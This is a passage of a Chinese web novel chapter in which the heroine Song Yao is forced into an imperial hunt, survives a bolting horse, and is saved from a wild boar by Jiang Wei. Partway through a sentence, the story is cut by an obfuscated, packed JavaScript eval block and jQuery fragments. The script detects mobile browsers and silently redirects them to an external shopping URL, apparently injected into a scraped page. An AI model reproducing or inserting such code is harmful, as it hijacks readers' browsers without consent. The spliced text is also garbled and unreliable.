说是这样说,但两个人比谁都怕。
“霜降,这个口脂再淡些,太夺目了。”
“小姐,你把这个软甲穿上,防身。”
“霜降,迷药都带了吗?”
“带了带了,要带刀吗?”
“刀?这,这倒不必吧。”走出门她想了想,又折回去,“哎,还是带着吧。”
两人大包夹小包,小包套小袋,一路拖拖沓沓才出门。
“哎哟喂,两位小主子哎,您当这是出宫踏青呢,带这许多!”领事公公吓得直跺脚。
一顿搜刮下来,啥也没剩。
宋杳耷拉着脑袋用手在背后戳戳霜降,霜降又埋下头碰碰宋杳,两人一句话也没说。
“这鼓鼓囊囊的是啥,也得脱了。”
“啊!”
连最后一点儿小心思都被拆穿了。
——
八月的尾巴裹紧夏末最后一点热,烧得人心惶惶。
围猎场四面早已旌旗如云,明黄的旗幡随风招展,翻涌如浪。
远处护军布围的号角隐约传来,人声马蹄声交织一片。偶有林间惊鹿掠过,飞鸟振翅之声此起彼伏,一派热闹非凡的排场。
祭台早已布好各类陈设,吉时一至,礼乐声起,天子率文武百官肃穆行礼,焚香祷告,祈求郊祀顺遂。
礼毕之后,一声号角划破长空,发出三声长鸣。
闻令,护军四面围阵,旌旗肆意挥动,击鼓之声此起彼伏,数千骑人马自外围缓缓逼近,将林间野物驱向围心。
待布围既定,天子亲驾至围前,由侍卫奉上弓箭,围场众人屏息凝神,只等天子引弓,行开围首射之礼。
箭矢破空而去时,四下先是一静,紧接着便发出山崩地裂般的万岁之声,文武百官皆拱手喝彩,声浪自内围一阵高过一阵,漫过山野。
这场祭祀大典才算真正拉开帷幕。
秋阳虽不似盛夏般酷烈,倒也能晒得人面颊滚烫。
衣领被浸在汗水里,发出一股子馊味,却无人敢动,看来随行站着也不是件轻松的活。
宋杳垂首躬立,汗水沿着她的额角一路流到鼻尖,她焦躁地微微晃身,可怎么也甩不掉那滴汗。
令人感到更加灼热的是周遭迅速爬来的目光,一个越过一个向上,将她死死钉在那里。
仿佛这围场猎的不是物,而是她活生生一个人。
见她迟迟没反应,内侍太监又高声喊:
“陛下有谕——宋杳近前听赏!”
赏?
宋杳这才回过神,往前急急跪去,身子下意识蜷缩成一团,她只想小点再小点,让四下目光瞧不见她这窘迫模样才好。
她忽然有些想念孟槐安了。
御幄之前传来天子声音,还有其他人,熙熙攘攘,她听不清。
她还趴着,可又感觉自己飘着,不敢抬头,只凭余光去捉眼前人的声音。
有两个字轻飘飘掉进耳朵里——永宁。
是她?
宋杳慢慢蠕动着直起一小段身子,却也只够瞅见眼前人的衣角。风掀袍角,露出内里的窄袖骑装,足下乌皮软靴,腰间还悬着一枚玉佩。
只是那形状却不像女儿家该欢喜的模样,白玉已微微泛黄,上尖下圆,中间圆孔光洁,两侧透雕的螭虎正蜷身相搏。
玉佩正对她身前,日光一照,玉色刺得她心头一晃。
一些不合时宜的记忆在此刻涌了上来。
霜降曾回禀过,那些刺杀她的死士,后脖颈之间就纹有这种鸟兽相搏纹。
是她!
她把身子更直了直,还没来得及细究,就听见座上之人说:
“皇兄,江南漕粮一事既该赏宋大人,寻常珠宝也无甚稀奇。不妨借此大典,赐其令千金一个入猎场骑射的恩典,也算慰劳他前番辛苦。”
说罢,她故意顿了顿,语气松快又带着几分撮合的意味:“既能让宋姑娘开开眼界,也算是皇兄体恤臣下,一举两得。”
天子微微点头,似是应允。
宋思稷闻听此言,忙叩首接话:
“微臣谢陛下美意,只是小女柔弱不堪,不通骑射,实在难当此等嘉赏。”
永宁当即嗔怪一声,扬声道:“皇兄既开金口,那便是天恩。宋大人也太过小心,又不是让她上阵搏杀,不过跟着众人一同走走,见识见识皇家围场,有何不可?”
这话落定,便是再无推辞余地,宋杳这猎场一行,是非去不可了。
只见群臣队列中缓步走出一人,朗声道:
“陛下,宋姑娘初入围场,不懂猎场规则,难免恐慌。臣愿随行左右,护其周全,免陛下与宋大人忧心。”
来人正是刑部侍郎裴蘅。
只是这话还没掉地上砸出响儿,就被永宁驳回去:
“裴侍郎本是武将出身,一身刚硬气,哪里懂女儿家心思,别回头把宋姑娘吓坏了。”
“臣妹倒是听说,江南一行蒋公子亦有功劳,皇兄何不一同嘉赏,叫他随行照料,岂不更为妥当?”
良久,座上之人才大笑起来,目光掠过地上众人:
“那便依永宁之言。”
旨意敲定,众人不好再多说什么。
号角声再次吹响,这次是从高坡而来,声音低沉雄浑,震得林间飞鸟四散惊起。
旌旗蔽日,马蹄声由远及近,皇室仪仗自两侧划分两列,金甲侍卫环立左右,一派肃穆威严。
宋杳一身轻便骑装上马,这些日子倒也练过,虽不太娴熟,但也勉强能控住。霜降则守在不远处,屏气不敢多言。
待天子一声令下,众人才纷纷策马进入围场。一时之间马嘶声、喝令声、弓箭声此起彼伏,马蹄带起尘土纷扬,野兽惊蹿,百官宗室分开追去,队伍被渐渐拉开。
宋杳握紧马缰,心下清明,这局是明着冲她来的。如今她别无选择,只能尽快寻一个稳妥可靠的人紧随左右,安安稳稳撑到围猎结束,再清算。
裴蘅借着追猎一头乱窜的野兔,勒马转弯故意绕到她附近,两人目光在空中短暂一碰,无须多言,便已各自心领神会。
时间一分一秒过去,宋杳坐在马背上却是如坐针毡。
忽然林深处一阵沙沙作响,不知哪里冲出来一头黄羊,像是受惊过度,慌不择路地朝着她直冲而来。她还没来得及惊呼躲避,□□坐骑已受了惊,长嘶一声扬蹄狂奔。
蒋为与裴蘅几乎同时瞥见,二人脸色骤变,当即挥鞭驭马急追。
可受惊之马狂奔如箭,二人纵是快马加鞭,也瞬间被拉开距离。
“咻——”
一道冷箭飞来,直直射在裴蘅马前寸许之地,紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576432|204805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接着永宁的声音便从远处传来:
“裴侍郎追的可是这只野兔?这畜生如此不听话,四下乱窜搅人兴致,我已替侍郎射杀。”
“裴侍郎,不必再追。”
裴蘅握紧拳头,指甲深深陷进掌心,攥出几道细密血丝。
心中再怒火中烧,但眼下也拗不过皇权:“臣,多谢公主殿下。”
等永宁走后,他才继续往前赶去,不敢耽误,若是让槐安知道宋杳出了事,便是杀十个永宁也不够赔的。
那马受了惊,只顾着疯跑,根本不听勒绳。
宋杳死死拽着缰绳的手被扯得生疼,她一咬牙,猛地将缰绳往一侧带,马儿被迫只能在林间绕圈狂奔,几番回旋下来,终于没力气,降下速度停下。
蒋为这才堪堪赶到,他急忙勒马询问眼前人:
“宋姑娘没事吧?此处已是密林深处,凶险得很,我送姑娘先回围场吧。”
宋杳在他搀扶下踉跄下马,惊魂未定,浑身都还在发抖。
她本以为有系统护身,什么生死至多做做样子,不可能来真的。可方才一路狂奔过来、几次险象环生,才彻底确定这是真的把她往死里整。
刚站稳,一阵天旋地转的眩晕便袭来,她胃里翻江倒海,忍不住俯身呕出来。
呕着呕着,鼻尖一酸,眼泪便控制不住掉出来,竟就这么哭出了声。
蒋为以为她是难受,拿出帕子递给她,刚想说点什么安慰一下。
身下人接过帕子,胡乱拭了拭唇角与眼角,就迅速站起身,又哧哧笑起来,扭捏着说:
“走吧,蒋公子,只是我刚刚哭鼻子的事,你不要说出去。”
蒋为被她这样一弄,不知所措站在原地,哭笑不得地应了一声:
“好。”
由于马儿受惊跑得太远,此刻他们身处外围密林,不在内场清点范围之内,四下荒僻无人,处处藏着凶险。
刚想着,就来了。
身旁灌木丛猛地一阵剧烈晃动,伴随着“哼哧—哼哧—”的粗重喘息。
一头浑身棕毛、獠牙外翻的成年野猪猛地冲了出来,小眼睛通红,背上鬃毛倒竖,低着头就朝两人直撞过来。
不是吧!这都什么命啊,安排的不是攻略型副本吗?
再说这种事情不是来一次就好了吗,刚刚都过关了,怎么还带超级加倍!
蒋为脸色惨变,慌忙一把将宋杳往旁侧狠狠一拽:“小心!”
他迅速拔出佩剑,只是那野猪靠着一股蛮力直接撞在他身侧。
蒋为闷哼一声,被巨大的冲力掀翻在地,胳膊擦过嶙峋树根与锋利獠牙,当即被豁开一道深可见骨的口子,温热鲜血瞬间汩汩渗出。
他强忍着痛,待那畜生再度冲来刹那,翻身跃起,倾尽全身气力,一剑凌厉刺入它的颈间。
野猪发出嚎叫,身躯剧烈抽搐震颤,挣扎片刻,便轰然倒地再无动静。
蒋为这才拔出剑,失了血面色苍白地撑着半跪在地上,勉强抬眼扯出一丝笑:
“别怕,没事,已经死了。”
恍然间,他忆起江南那一路,她也是这般,轻声细语地安慰他。
是啊,她从来都不是胆小怯懦之人。
念头刚落,失血与脱力一并涌上来,他眼前一昏,视线发黑,整个人便软软地倒下去。